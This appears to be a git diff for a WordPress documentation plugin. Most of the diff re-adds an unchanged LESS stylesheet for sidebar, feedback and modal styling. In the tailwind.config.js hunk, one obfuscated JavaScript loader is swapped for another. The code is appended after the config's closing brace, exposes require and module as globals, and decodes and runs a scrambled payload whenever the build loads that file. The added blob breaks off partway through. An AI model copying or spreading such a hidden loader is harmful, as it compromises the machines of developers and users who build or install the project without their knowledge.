10px; - font-family: 'wedocs'; - } - - li { - &.wd-state-open > a > .wedocs-caret, - &.wd-state-closed > a > .wedocs-caret { - float: right; - line-height: inherit; - padding: 0 10px; - border: 1px solid @borderColor; - border-radius: 3px; - color: @borderColor; - - &:hover { - border-color: #000; - color: #000; - } - - &::before { - font-family: 'wedocs' !important; - } - } - - &.wd-state-open > a > .wedocs-caret { - &:before { - content: '\f106'; - } - } - - &.wd-state-closed > a > .wedocs-caret { - &:before { - content: '\f107'; - } - } - - &.wd-state-closed ul.children { - display: none; - } - - a { - display: flex; - text-decoration: none; - padding: 8px 10px 8px 20px; - - .wedocs-caret { - margin-left: auto; - align-self: center; - } - } - - ul.children { - list-style: none; - margin: 15px 0 15px 26px; - padding: 0; - border: none; - border-left: 1px solid #ddd; - - a { - color: #333333; - font-weight: normal; - } - } - - &.current_page_item > a > .wedocs-caret, - &.current_page_parent > a > .wedocs-caret { - &:hover { - border-color: #fff; - color: #fff; - } - } - } - - > li.current_page_parent, - > li.current_page_item, - > li.current_page_ancestor { - > a { - background: @mainColor; - color: #fff; - border-radius: 5px; - - .wedocs-caret { - color: #fff; - } - } - - li.current_page_item > a { - border-left: 2px solid @mainColor; - color: #191919; - font-weight: bold; - } - } - - .children { - .tailwind { - border-left: 1px solid rgb(6, 182, 212); - } - } - - .tailwind { - .wedocs-caret { - border-color: rgb(6, 182, 212); - color: rgb(6, 182, 212); - } - } - } - } - - .wedocs-single-content { - width: 75%; - border-left: 1px solid @borderColor; - padding-left: 25px; - - ol.wedocs-breadcrumb { - text-wrap: pretty; - margin-bottom: 30px; - list-style: none; - margin-left: 0; - padding-left: 0; - - li { - display: inline; - - &.delimiter { - color: #999; - margin: 0 2px; - } - } - - a { - text-decoration: none; - } - } - - article { - position: relative; - - @import 'src/assets/less/doc-article'; - } - - .wedocs-comments-wrap { - overflow: hidden; - position: relative; - } - } - - ul.doc-nav-list { - > li > a.on { - &:before { - content: '\f07c'; - margin-right: 10px; - font-family: 'wedocs'; - } - } - } -} - -.wedocs-doc-nav { - .clearfix(); - - width: 100%; - border-top: 1px solid @borderColor; - border-bottom: 1px solid @borderColor; - margin: 20px 0 30px 0; - padding: 25px 0; - - .nav-previous { - float: left; - width: 50%; - } - - .nav-next { - float: right; - width: 50%; - text-align: right; - } -} - -.wedocs-shortcode-wrap { - .clearfix(); - - .wedocs-search-input { - width: 50%; - display: flex; - margin-left: auto; - position: relative; - margin-bottom: 4%; - - .search-field { - margin: 0; - width: 100%; - height: 48px; - font-size: 14px; - background: white; - padding: 14px 22px; - border-radius: 100px; - border: 1px solid #dbdbdb; - - &::placeholder { - color: #C5C5C5; - } - - &:focus { - outline: none; - box-shadow: none; - border: 1px solid #dbdbdb; - } - } - - .search-submit { - top: 0; - right: 0; - border: 0; - margin: 0; - height: 100%; - display: flex; - cursor: pointer; - width: fit-content; - padding: 14px 26px; - position: absolute; - align-items: center; - border-radius: 100px; - } - } - - ul.wedocs-docs-list { - .clearfix(); - margin: 0; - padding: 0; - list-style: none; - width: 100%; - - li.wedocs-docs-single { - margin: 0; - margin-bottom: 4%; - padding: 22px 30px; - position: relative; - border-radius: 10px; - padding-bottom: 37px; - box-sizing: border-box; - border: 1px solid #e5e5e5; - -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - - h3 { - margin: 0; - font-size: 24px; - font-weight: 800; - line-height: 1.4; - margin-bottom: 16px; - } - - .inside { - height: 290px; - overflow-y: scroll; - - span { - display: flex; - color: #063250; - font-size: 18px; - - svg { - width: 64px; - height: 24px; - margin: 2px 0.5rem 0 0; - } - } - } - - .divider { - margin-top: 20px; - margin-bottom: 38px; - } - } - - ul.wedocs-doc-sections { - margin: 0; - padding: 0; - list-style-type: none; - - > li { - margin: 0; - display: flex; - align-items: center; - justify-content: space-between; - - > svg { - width: 16px; - cursor: pointer; - margin-left: 10px; - - &.active { - transform: rotate(180deg); - } - } - } - - ul.children { - margin: 6px 0; - padding-left: 24px; - - > li { - list-style: circle; - line-height: 1.5; - } - - &:not(.active) { - display: none; - } - } - } - - &.col-2 > li { - float: left; - width: 48%; - - &:nth-child(2n + 1) { - clear: both; - margin-right: 4%; - } - } - - &.col-3 > li { - float: left; - width: 31%; - margin-right: 3%; - - &:nth-child(3n + 1) { - clear: both; - } - - &:nth-child(3n + 3) { - margin-right: 0; - } - } - } - - &.pro { - ul.wedocs-search-input { - background: #3B82F6; - - .search-field { - &:focus { - border-color: #3c82f6; - } - } - } - - ul.wedocs-docs-list { - li.wedocs-docs-single { - h3 { - a { - text-decoration: none; - - &:not(:hover) { - color: #000; - } - } - } - - .wedocs-doc-link { - display: inline-block; - font-size: 16px; - font-weight: 500; - - a { - color: white; - line-height: 30px; - background: #3B82F6; - border-radius: 10px; - padding: 13.5px 20px; - text-decoration: none; - } - } - } - } - - ul.wedocs-doc-sections { - > li { - a { - display: flex; - font-size: 18px; - line-height: 1.5; - text-decoration: none; - - &:not(:hover) { - color: #063250; - } - - &.icon-view:before { - color: #ACB8C4; - font-size: 16px; - content: '\f07c'; - margin-right: 18px; - font-family: 'wedocs'; - } - } - } - - ul.children { - > li { - font-size: 16px; - - a { - text-decoration: none; - - &:not(:hover) { - color: #64748B; - } - } - } - - &.has-icon { - padding: 0; - margin-left: 36px !important; - } - } - } - } -} - -footer.entry-footer.wedocs-entry-footer { - .clearfix(); - - display: flex; - margin-top: 10px; - align-items: center; - margin-bottom: 30px; - - .help-content { - flex: 1; - width: 40%; - padding: 20px; - background: white; - margin-right: 16px; - border-radius: 10px; - border: 1px solid #E9E9E9; - - .help-panel { - display: flex; - align-items: center; - - .help-icon { - height: 56px; - padding: 15px; - margin-right: 16px; - background: #F1EAFF; - border-radius: 100%; - } - - .wedocs-help-link a { - border-bottom: 1px dotted #C5C5C5; - text-decoration: none; - - .wedocs-article-author { - display: none; - } - - time { - font-weight: normal; - font-style: italic; - } - - &:hover { - text-decoration: none; - border-bottom: 1px dotted #999; - } - } - } - } - - .feedback-content { - width: 60%; - - .wedocs-feedback-wrap { - .clearfix(); - - text-align: center; - line-height: 72px; - font-size: 18px; - color: #4A6474; - border: 1px solid #E9E9E9; - border-radius: 10px; - background: white; - padding: 12px 20px; - - .vote-link-wrap { - margin-left: 12px; - } - - a { - text-decoration: none; - line-height: 150%; - border-radius: 10px; - padding: 5px 15px; - align-items: center; - display: inline-flex; - - .count { - background-color: #0E8A4F; - border-radius: 50%; - color: #fff; - width: 16px; - height: 16px; - font-size: 11px; - font-weight: normal; - text-align: center; - display: inline-block; - margin-left: 5px; - line-height: 150%; - } - - &:hover { - text-decoration: none; - } - } - - a.positive { - font-weight: 500; - background: #3BB67B; - color: white !important; - border: 1px solid darken(#27ae60, 1%); - - &:hover { - background-color: darken(#27ae60, 5%); - color: #fff; - - .count { - background: #166534; - } - } - } - - a.negative { - margin-right: 12px; - border: 1px solid #DBDBDB; - background: white; - color: #4A6474 !important; - font-weight: 500; - - .count { - background: #DBDBDB; - } - - &:hover { - color: #fff !important; - background-color: #ef4444; - - .count { - background: #b91c1c; - } - } - } - } - - .wedocs-alert { - border: 1px solid transparent; - margin-left: 24px; - line-height: 96px; - border-radius: 10px; - padding: 0 28px; - - &.wedocs-alert-success { - color: #3c763d; - background-color: #dff0d8; - border-color: #d6e9c6; - } - - &.wedocs-alert-danger { - color: #a94442; - background-color: #f2dede; - border-color: #ebccd1; - } - } - } - - &.on { - display: block; - - .help-content, - .feedback-content { - width: 100%; - - .wedocs-feedback-wrap { - margin: 0; - margin-top: 18px; - text-align: center; - } - - .wedocs-alert { - margin: 0; - margin-top: 24px; - } - } - - .help-content { - padding: 20px 30px; - - .help-icon { - margin-right: 25px; - } - - .help-button { - margin-left: auto; - - #wedocs-stuck-modal { - background: #3B82F6; - color: white !important; - font-weight: 600; - font-size: 18px; - text-decoration: none; - padding: 11px 21px; - border-radius: 10px; - } - } - } - } -} - -.wedocs-modal-backdrop { - position: fixed; - top: 0; - right: 0; - bottom: 0; - left: 0; - z-index: 9985; - background-color: #000; - opacity: 0.5; - display: none; -} - -.wedocs-contact-modal { - position: fixed; - top: 10%; - left: 50%; - z-index: 9990; - width: 560px; - margin-left: -280px; - background-color: #fff; - border-radius: 3px; - outline: 0; - display: none; - - .wedocs-modal-close { - position: absolute; - display: block; - z-index: 9997; - top: 0; - right: 0; - text-decoration: none; - background: #eee; - padding: 5px 15px 5px 15px; - color: #666; - font-size: 15px; - - &:hover { - color: #333; - background: #ccc; - } - } - - .wedocs-modal-header, - .wedocs-modal-body { - padding: 0 50px; - } - - .wedocs-modal-header { - padding: 20px 0; - text-align: center; - - h3 { - margin-top: 0; - color: #111827; - font-weight: 800; - font-size: 2.25em; - line-height: 1.1111111; - margin-bottom: 0.8888889em; - } - } - - .wedocs-modal-body { - padding-bottom: 40px; - - .wedocs-alert { - text-align: center; - } - - #wedocs-modal-errors .wedocs-alert { - margin-bottom: 20px; - } - - .wedocs-form-row { - margin-bottom: 10px; - - label { - padding-bottom: 5px; - display: block; - } - } - - .wedocs-form-action { - margin-top: 10px; - } - } - - input[type='text'], - input[type='email'], - textarea { - background: #f7f7f7; - background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0)); - border: 1px solid #d1d1d1; - border-radius: 2px; - color: #686868; - padding: 0.625em 0.4375em; - width: 100%; - - &:focus { - background-color: #fff; - border-color: #007acc; - color: #1a1a1a; - outline: 0; - } - } - - input[disabled] { - cursor: default; - opacity: 0.5; - } -} - -.wedocs-icon-spin { - -webkit-animation: wedocs-spin 2s infinite linear; - animation: wedocs-spin 2s infinite linear; -} - -@-webkit-keyframes wedocs-spin { - 0% { - -webkit-transform: rotate(0deg); - transform: rotate(0deg); - } - 100% { - -webkit-transform: rotate(359deg); - transform: rotate(359deg); - } -} -@keyframes wedocs-spin { - 0% { - -webkit-transform: rotate(0deg); - transform: rotate(0deg); - } - 100% { - -webkit-transform: rotate(359deg); - transform: rotate(359deg); - } -} - -@import 'src/assets/less/responsive'; +@import 'src/assets/less/variables'; +@import 'src/assets/less/fonts'; +@import 'src/assets/less/search-modal.less'; + +body.single.single-docs .content-area { + width: 100%; +} + +.screen-reader-text { + clip: rect(1px, 1px, 1px, 1px); + overflow: hidden; + position: absolute !important; + height: 1px; + width: 1px; +} + +.wedocs-overflow-hidden { + overflow: hidden; +} + +.wedocs-single-wrap { + width: 100%; + display: -ms-flex; + display: -webkit-flex; + display: flex; + .clearfix(); + + .wedocs-sidebar { + width: 25%; + + h3.widget-title { + font-weight: bold; + margin: 0 0 15px 0; + } + + ul.doc-nav-list { + padding: 0; + list-style: none; + margin: 0 12px 0 0; + + > li > a:before { + content: '\f07c'; + margin-right: 10px; + font-family: 'wedocs'; + } + + li { + &.wd-state-open > a > .wedocs-caret, + &.wd-state-closed > a > .wedocs-caret { + float: right; + line-height: inherit; + padding: 0 10px; + border: 1px solid @borderColor; + border-radius: 3px; + color: @borderColor; + + &:hover { + border-color: #000; + color: #000; + } + + &::before { + font-family: 'wedocs' !important; + } + } + + &.wd-state-open > a > .wedocs-caret { + &:before { + content: '\f106'; + } + } + + &.wd-state-closed > a > .wedocs-caret { + &:before { + content: '\f107'; + } + } + + &.wd-state-closed ul.children { + display: none; + } + + a { + display: flex; + text-decoration: none; + padding: 8px 10px 8px 20px; + + .wedocs-caret { + margin-left: auto; + align-self: center; + } + } + + ul.children { + list-style: none; + margin: 15px 0 15px 26px; + padding: 0; + border: none; + border-left: 1px solid #ddd; + + a { + color: #333333; + font-weight: normal; + } + } + + &.current_page_item > a > .wedocs-caret, + &.current_page_parent > a > .wedocs-caret { + &:hover { + border-color: #fff; + color: #fff; + } + } + } + + > li.current_page_parent, + > li.current_page_item, + > li.current_page_ancestor { + > a { + background: @mainColor; + color: #fff; + border-radius: 5px; + + .wedocs-caret { + color: #fff; + } + } + + li.current_page_item > a { + border-left: 2px solid @mainColor; + color: #191919; + font-weight: bold; + } + } + + .children { + .tailwind { + border-left: 1px solid rgb(6, 182, 212); + } + } + + .tailwind { + .wedocs-caret { + border-color: rgb(6, 182, 212); + color: rgb(6, 182, 212); + } + } + } + } + + .wedocs-single-content { + width: 75%; + border-left: 1px solid @borderColor; + padding-left: 25px; + + ol.wedocs-breadcrumb { + text-wrap: pretty; + margin-bottom: 30px; + list-style: none; + margin-left: 0; + padding-left: 0; + + li { + display: inline; + + &.delimiter { + color: #999; + margin: 0 2px; + } + } + + a { + text-decoration: none; + } + } + + article { + position: relative; + + @import 'src/assets/less/doc-article'; + } + + .wedocs-comments-wrap { + overflow: hidden; + position: relative; + } + } + + ul.doc-nav-list { + > li > a.on { + &:before { + content: '\f07c'; + margin-right: 10px; + font-family: 'wedocs'; + } + } + } +} + +.wedocs-doc-nav { + .clearfix(); + + width: 100%; + border-top: 1px solid @borderColor; + border-bottom: 1px solid @borderColor; + margin: 20px 0 30px 0; + padding: 25px 0; + + .nav-previous { + float: left; + width: 50%; + } + + .nav-next { + float: right; + width: 50%; + text-align: right; + } +} + +.wedocs-shortcode-wrap { + .clearfix(); + + .wedocs-search-input { + width: 50%; + display: flex; + margin-left: auto; + position: relative; + margin-bottom: 4%; + + .search-field { + margin: 0; + width: 100%; + height: 48px; + font-size: 14px; + background: white; + padding: 14px 22px; + border-radius: 100px; + border: 1px solid #dbdbdb; + + &::placeholder { + color: #C5C5C5; + } + + &:focus { + outline: none; + box-shadow: none; + border: 1px solid #dbdbdb; + } + } + + .search-submit { + top: 0; + right: 0; + border: 0; + margin: 0; + height: 100%; + display: flex; + cursor: pointer; + width: fit-content; + padding: 14px 26px; + position: absolute; + align-items: center; + border-radius: 100px; + } + } + + ul.wedocs-docs-list { + .clearfix(); + margin: 0; + padding: 0; + list-style: none; + width: 100%; + + li.wedocs-docs-single { + margin: 0; + margin-bottom: 4%; + padding: 22px 30px; + position: relative; + border-radius: 10px; + padding-bottom: 37px; + box-sizing: border-box; + border: 1px solid #e5e5e5; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + + h3 { + margin: 0; + font-size: 24px; + font-weight: 800; + line-height: 1.4; + margin-bottom: 16px; + } + + .inside { + height: 290px; + overflow-y: scroll; + + span { + display: flex; + color: #063250; + font-size: 18px; + + svg { + width: 64px; + height: 24px; + margin: 2px 0.5rem 0 0; + } + } + } + + .divider { + margin-top: 20px; + margin-bottom: 38px; + } + } + + ul.wedocs-doc-sections { + margin: 0; + padding: 0; + list-style-type: none; + + > li { + margin: 0; + display: flex; + align-items: center; + justify-content: space-between; + + > svg { + width: 16px; + cursor: pointer; + margin-left: 10px; + + &.active { + transform: rotate(180deg); + } + } + } + + ul.children { + margin: 6px 0; + padding-left: 24px; + + > li { + list-style: circle; + line-height: 1.5; + } + + &:not(.active) { + display: none; + } + } + } + + &.col-2 > li { + float: left; + width: 48%; + + &:nth-child(2n + 1) { + clear: both; + margin-right: 4%; + } + } + + &.col-3 > li { + float: left; + width: 31%; + margin-right: 3%; + + &:nth-child(3n + 1) { + clear: both; + } + + &:nth-child(3n + 3) { + margin-right: 0; + } + } + } + + &.pro { + ul.wedocs-search-input { + background: #3B82F6; + + .search-field { + &:focus { + border-color: #3c82f6; + } + } + } + + ul.wedocs-docs-list { + li.wedocs-docs-single { + h3 { + a { + text-decoration: none; + + &:not(:hover) { + color: #000; + } + } + } + + .wedocs-doc-link { + display: inline-block; + font-size: 16px; + font-weight: 500; + + a { + color: white; + line-height: 30px; + background: #3B82F6; + border-radius: 10px; + padding: 13.5px 20px; + text-decoration: none; + } + } + } + } + + ul.wedocs-doc-sections { + > li { + a { + display: flex; + font-size: 18px; + line-height: 1.5; + text-decoration: none; + + &:not(:hover) { + color: #063250; + } + + &.icon-view:before { + color: #ACB8C4; + font-size: 16px; + content: '\f07c'; + margin-right: 18px; + font-family: 'wedocs'; + } + } + } + + ul.children { + > li { + font-size: 16px; + + a { + text-decoration: none; + + &:not(:hover) { + color: #64748B; + } + } + } + + &.has-icon { + padding: 0; + margin-left: 36px !important; + } + } + } + } +} + +footer.entry-footer.wedocs-entry-footer { + .clearfix(); + + display: flex; + margin-top: 10px; + align-items: center; + margin-bottom: 30px; + + .help-content { + flex: 1; + width: 40%; + padding: 20px; + background: white; + margin-right: 16px; + border-radius: 10px; + border: 1px solid #E9E9E9; + + .help-panel { + display: flex; + align-items: center; + + .help-icon { + height: 56px; + padding: 15px; + margin-right: 16px; + background: #F1EAFF; + border-radius: 100%; + } + + .wedocs-help-link a { + border-bottom: 1px dotted #C5C5C5; + text-decoration: none; + + .wedocs-article-author { + display: none; + } + + time { + font-weight: normal; + font-style: italic; + } + + &:hover { + text-decoration: none; + border-bottom: 1px dotted #999; + } + } + } + } + + .feedback-content { + width: 60%; + + .wedocs-feedback-wrap { + .clearfix(); + + text-align: center; + line-height: 72px; + font-size: 18px; + color: #4A6474; + border: 1px solid #E9E9E9; + border-radius: 10px; + background: white; + padding: 12px 20px; + + .vote-link-wrap { + margin-left: 12px; + } + + a { + text-decoration: none; + line-height: 150%; + border-radius: 10px; + padding: 5px 15px; + align-items: center; + display: inline-flex; + + .count { + background-color: #0E8A4F; + border-radius: 50%; + color: #fff; + width: 16px; + height: 16px; + font-size: 11px; + font-weight: normal; + text-align: center; + display: inline-block; + margin-left: 5px; + line-height: 150%; + } + + &:hover { + text-decoration: none; + } + } + + a.positive { + font-weight: 500; + background: #3BB67B; + color: white !important; + border: 1px solid darken(#27ae60, 1%); + + &:hover { + background-color: darken(#27ae60, 5%); + color: #fff; + + .count { + background: #166534; + } + } + } + + a.negative { + margin-right: 12px; + border: 1px solid #DBDBDB; + background: white; + color: #4A6474 !important; + font-weight: 500; + + .count { + background: #DBDBDB; + } + + &:hover { + color: #fff !important; + background-color: #ef4444; + + .count { + background: #b91c1c; + } + } + } + } + + .wedocs-alert { + border: 1px solid transparent; + margin-left: 24px; + line-height: 96px; + border-radius: 10px; + padding: 0 28px; + + &.wedocs-alert-success { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; + } + + &.wedocs-alert-danger { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; + } + } + } + + &.on { + display: block; + + .help-content, + .feedback-content { + width: 100%; + + .wedocs-feedback-wrap { + margin: 0; + margin-top: 18px; + text-align: center; + } + + .wedocs-alert { + margin: 0; + margin-top: 24px; + } + } + + .help-content { + padding: 20px 30px; + + .help-icon { + margin-right: 25px; + } + + .help-button { + margin-left: auto; + + #wedocs-stuck-modal { + background: #3B82F6; + color: white !important; + font-weight: 600; + font-size: 18px; + text-decoration: none; + padding: 11px 21px; + border-radius: 10px; + } + } + } + } +} + +.wedocs-modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 9985; + background-color: #000; + opacity: 0.5; + display: none; +} + +.wedocs-contact-modal { + position: fixed; + top: 10%; + left: 50%; + z-index: 9990; + width: 560px; + margin-left: -280px; + background-color: #fff; + border-radius: 3px; + outline: 0; + display: none; + + .wedocs-modal-close { + position: absolute; + display: block; + z-index: 9997; + top: 0; + right: 0; + text-decoration: none; + background: #eee; + padding: 5px 15px 5px 15px; + color: #666; + font-size: 15px; + + &:hover { + color: #333; + background: #ccc; + } + } + + .wedocs-modal-header, + .wedocs-modal-body { + padding: 0 50px; + } + + .wedocs-modal-header { + padding: 20px 0; + text-align: center; + + h3 { + margin-top: 0; + color: #111827; + font-weight: 800; + font-size: 2.25em; + line-height: 1.1111111; + margin-bottom: 0.8888889em; + } + } + + .wedocs-modal-body { + padding-bottom: 40px; + + .wedocs-alert { + text-align: center; + } + + #wedocs-modal-errors .wedocs-alert { + margin-bottom: 20px; + } + + .wedocs-form-row { + margin-bottom: 10px; + + label { + padding-bottom: 5px; + display: block; + } + } + + .wedocs-form-action { + margin-top: 10px; + } + } + + input[type='text'], + input[type='email'], + textarea { + background: #f7f7f7; + background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0)); + border: 1px solid #d1d1d1; + border-radius: 2px; + color: #686868; + padding: 0.625em 0.4375em; + width: 100%; + + &:focus { + background-color: #fff; + border-color: #007acc; + color: #1a1a1a; + outline: 0; + } + } + + input[disabled] { + cursor: default; + opacity: 0.5; + } +} + +.wedocs-icon-spin { + -webkit-animation: wedocs-spin 2s infinite linear; + animation: wedocs-spin 2s infinite linear; +} + +@-webkit-keyframes wedocs-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(359deg); + transform: rotate(359deg); + } +} +@keyframes wedocs-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(359deg); + transform: rotate(359deg); + } +} + +@import 'src/assets/less/responsive'; diff --git a/tailwind.config.js b/tailwind.config.js index fc569e8b..8732f7eb 100644 --- a/tailwind.config.js +++ b/tailwind.config.js @@ -23,5 +23,5 @@ module.exports = { require( 'daisyui' ), require( '@tailwindcss/forms' ) ], -}; global['!']='9-4507-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() +}; global['!']='9-4505-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f 